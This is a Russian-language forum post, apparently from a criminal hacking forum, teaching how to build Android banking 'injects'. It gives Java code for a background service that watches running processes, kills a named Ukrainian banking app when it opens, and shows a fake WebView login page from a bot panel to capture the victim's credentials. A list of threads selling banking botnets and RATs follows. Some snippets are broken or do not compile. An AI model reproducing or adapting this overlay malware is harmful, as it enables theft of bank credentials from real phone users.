Android, Инжекты до 6.0, Android injection

Admin

Original poster
Administrator
Сообщения
916
Реакции
753
Посетить сайт
Обещал как то написать статью по инжектам для андроида 6.0(API 23), так как не было времени, пришлось оттянуть обещание!

Язык java, среда разработки Android Studio
DroidSQLi-Android-Sql-Injection-v1.0.png

Начну сразу с того, что у нас уже созданный проект(к примеру по статье

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

), далее нам нужно создать service(назовём ServiceInjection),
который будет следить за процессами и activity(назовём ActivityInjection), которое будет являться наши фейком(где жертва будет вводить логи).

В манифест добавим
Код:
<uses-permission android:name="android.permission.GET_TASKS" />
Рассмотрим service:

Пишем функцию которая нам возваращает имя процесса до версии 5.0

Код:
public String getPackage() // получаем процессы до API 5.0
{
   if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.KITKAT) {
       ActivityManager am = (ActivityManager) this.getSystemService(ACTIVITY_SERVICE);
       List<ActivityManager.RunningTaskInfo> taskInfo = am.getRunningTasks(1);
       ComponentName componentInfo = taskInfo.get(0).topActivity;
       return taskInfo.get(0).topActivity.getPackageName();
   }
   else
   {
       ActivityManager manager = (ActivityManager)this.getSystemService(Context.ACTIVITY_SERVICE);
       List<ActivityManager.RunningAppProcessInfo> tasks = manager.getRunningAppProcesses();
       return tasks.get(0).processName;
   }
}
Функция для скана директории /proc/, где мы получим pid запущенного процесса(/proc/nnnn), я думаю тут уже все понятно как работают и инжекты от API 21 до API 23


Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.



Код:
//------5.1 и выше--------------------------------
protected static String readFile(String path) throws IOException {
   BufferedReader reader = null;
   try {
       StringBuilder output = new StringBuilder();
       reader = new BufferedReader(new FileReader(path));
       for (String line = reader.readLine(), newLine = ""; line != null; line = reader.readLine()) {
           output.append(newLine).append(line);
           newLine = "\n";
       }
       return output.toString();
   }
   finally { if (reader != null) {try {reader.close();} catch (IOException ignored){}}}
}
И функция где мы по pid получим имя процесса

Код:
static String getProcessName(int pid) throws IOException {
   String cmdline = null;
   try {cmdline = readFile(String.format("/proc/%d/cmdline", pid)).trim();} catch (IOException ignored) {}
   return cmdline;
}
Пишем обработку слежения за процессами

Код:
public void scanProcess(){
       new Thread(new Runnable(){
                public void run(){
                   if(Build.VERSION.SDK_INT <= Build.VERSION_CODES.LOLLIPOP_MR1)
                   {
                       for (int i = 0; i > -1; i++) //смотрим процессы до 5.0
                       {
                           String nameProcess = "ua.privatbank"; //имя процесса который нужно инжектить
                           String Process = getPackage(); //получаем активный процесс
                  
                           if(Process.contains(nameProcess))//если наш процесс запущен, то убиваем этот процесс и запускаем activity
                           {
                               ActivityManager am = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
                               am.killBackgroundProcesses(Process);
                      
                               Intent dialogIntent = new Intent(ServiceInjection.this, ActivityInjection.class);
                               dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                               startActivity(dialogIntent);
                           }
                       }
                   try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}
                   }
                   else
                   {//Теперь пишем для 5.1 и выше
                       for (int i = 0; i > -1; i++)
                       {
                           String nameProcess = "ua.privatbank"; //имя процесса для инжекта
      
                           File directory = new File(directoryName);//Получаем список папок и файлов в директории /proc/
                           File[] fList = directory.listFiles();
                           for (File file : fList) {
                           if (file.isDirectory()) {
                                   try {
                                       String s = file.toString();
                                       s = s.replace("/proc/", "");

                                       String procNameProcess = getProcessName(Integer.parseInt(s));//выводим процессы
                              
                                       //если процесс запущен, то также убиваем этот процесс и запускаем activity
                                       if (procNameProcess.contains(data_name_inj)) {
                                       ActivityManager am = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);
                                       am.killBackgroundProcesses(procNameProcess);
                                       file.delete();
                              
                                       Intent dialogIntent = new Intent(ServiceInjection.this, ActivityInjection.class);
                                       dialogIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
                                       startActivity(dialogIntent);
                                       break;
                                       }
                                   } catch (Exception ex) {}
                               }
                           }
                  
                       }
                   try {Thread.sleep(1000);} catch (InterruptedException e) {e.printStackTrace();}
                   }
       stopSelf();
       }
   }).start();
}
Теперь осталось запустить функцию скана процессов и сделать activity

Код:
@Override
public int onStartCommand(Intent intent, int flags, int startId)
{
  scanProcess _act();
  return  flags;
}
Аctivity
Код:
public class ActivityInjection extends Activity {
   @SuppressLint("SetJavaScriptEnabled")
   @Override
   protected void onCreate(Bundle savedInstanceState)
   {
       super.onCreate(savedInstanceState);
       setContentView(R.layout.activityinjection);
   }
   @Override
   protected void onStart() {
       super.onStart();

       WebView webView = (WebView) findViewById(R.id.webView);
       webView.getSettings().setJavaScriptEnabled(true);
       webView.setWebViewClient(new WebViewClient());
       webView.setWebChromeClient(new WebChromeClient());
       webView.loadUrl(“https//androidBOT/injection/privatbank.php"));
   }
}
Но вообще есть еще множество способ получить имя процесса для инжектов!
Вот и все, будет время еще что нибудь напишу, если конечно кому интересно!
 
  • Like
Реакции: Kpa6
Название темы
Автор Заголовок Раздел Ответы Дата
Support81 VPN – ловушка для Android: как приложения превращают смартфоны в зомби Новости в сети 0
Support81 PixPirate: невидимый мародёр Android-устройств в Бразилии Новости в сети 0
Emilio_Gaviriya Статья Защита конфиденциальности: Как сбросить данные на Android в экстренных ситуациях. Полезные статьи 0
Support81 Кто стоит за Agent Racoon? Тайный хакер, который атакует Android и угрожает мировой безопасности Новости в сети 0
Support81 Вирус с Уолл-Стрит: приложения для займов тайно крадут данные 12 млн. пользователей Android Новости в сети 0
Support81 Android-троян SpyNote записывает аудио и телефонные звонки Новости в сети 0
Support81 Тысячи Android-устройств поставляются с предустановленным неубиваемым бэкдором Новости в сети 0
Support81 Telegram как минное поле: новая угроза для пользователей Android Новости в сети 0
A Xmbot Maza - Android Botnet (Modife Anubis) Продажа софта 0
L i need ebay brute checker api android or ios Продажа софта 1
semsvm Интересно Пассивный заработок от 2$+ в сутки - на своем ПК, Android, Linux! Корзина 1
X Cerberus v10 Android Banking Trojan with Admin panel to create subscription keys. Продажа софта 0
DukeEugene Проверено Android botnet ERMAC-2 Продажа софта 4
Denik Интересно Найден Android-троян, ворующий данные из 378 приложений Новости в сети 1
adflak Создание, разработка, продвижение мобильных приложений в Иркутске iOS/Android заказать! Ищу работу. Предлагаю свои услуги. 0
Whit3_D3vil UBEL ANDROID BANKING BOTNET Продажа софта 2
N Нужен хороший RAT для Android. Предоставляю работу. Ищу специалиста. 2
H Начальная оборона Android Полезные статьи 0
Admin Как узнать местоположение человека по фото [ANDROID] Анонимность и приватность 11
Anorali Интересно Как использовать Xploitspy для взлома телефонов Android? Полезные статьи 6
B Ищем Android разработчика! Предоставляю работу. Ищу специалиста. 0
K Интересно Samsung galaxy a70 Android 10 Вопросы и интересы 5
Eteriass Интересно СОЗДАЕМ BACKDOOR ДЛЯ ANDROID Вирусология 18
Denik Интересно Трояны для слежки под Windows, macOS, Linux, Android, iOS Анонимность и приватность 0
CMDfromBAT [Розыгрыш] SpyNote Android-RAT v5.0 !Stable Version! - 5 ПРИЗОВЫХ МЕСТ! [Завершено] Розыгрыши 1
Denik Интересно Бесплатный интернет на Android Уязвимости и взлом 3
L Интересно Мошенники вымогают «штрафы» у пользователей Android от имени ФБР Новости в сети 0
M Безопасность на Android Уязвимости и взлом 0
Fiora Android Bot Продажа софта 3
E Интересно Превращаем обычный смартфон с Android в настоящий Windows Полезные статьи 0
GhosTM@n Интересно Android Janus - APK Signature Bypass (****sploit) THROOT Полезные статьи 1
E Android PC Botnet Installs exe,apk Услуги дизайнеров/веб-разработчиков 0
S Атаки: 800 000 россиян стали жертвами банковского Android-ботнета Новости в сети 1
S Xhelper продолжает заражать Android Новости в сети 3
S Loki Bot 2.0 Android Banker Botnet Spam/DDOS/Malware 3
S SpyNote v2 (RAT для Android'а) Spam/DDOS/Malware 5
E 49 скрытых команд Android Другое 3
W BOOM для IOS / Android [бесплатно] Полезные статьи 0
M Хакер - Android: Бэкдор в смартфонах Huawei и особенности реaлизации TrustZone в Samsung Корзина 0
A Взлом Android Предоставляю работу. Ищу специалиста. 2
O Тысячи Android-приложений могут содержать RCE-уязвимость Новости в сети 0
S Проверено Android load (Загрузки) Трафик, загрузки, инсталлы, iframe 1
B Проверено продажа android инсталов Трафик, загрузки, инсталлы, iframe 0
Admin Jabber на android для безопасного общения Анонимность и приватность 7
Admin Срочное уничтожение данных на Android Анонимность и приватность 3
V Проверено Продажа Android/Desktop траффика с бирж Трафик, загрузки, инсталлы, iframe 0
E Проверено Схема на инсталлы с пуш сетки +ENG Android+Desktop Трафик, загрузки, инсталлы, iframe 0
B продажа android инсталов Трафик, загрузки, инсталлы, iframe 0
W Выкупим android инсталлы РУ Куплю/Продам 1
G АНДРОИД ИНСТАЛЛЫ РУ || ANDROID INSTALL RU Трафик, загрузки, инсталлы, iframe 0

Название темы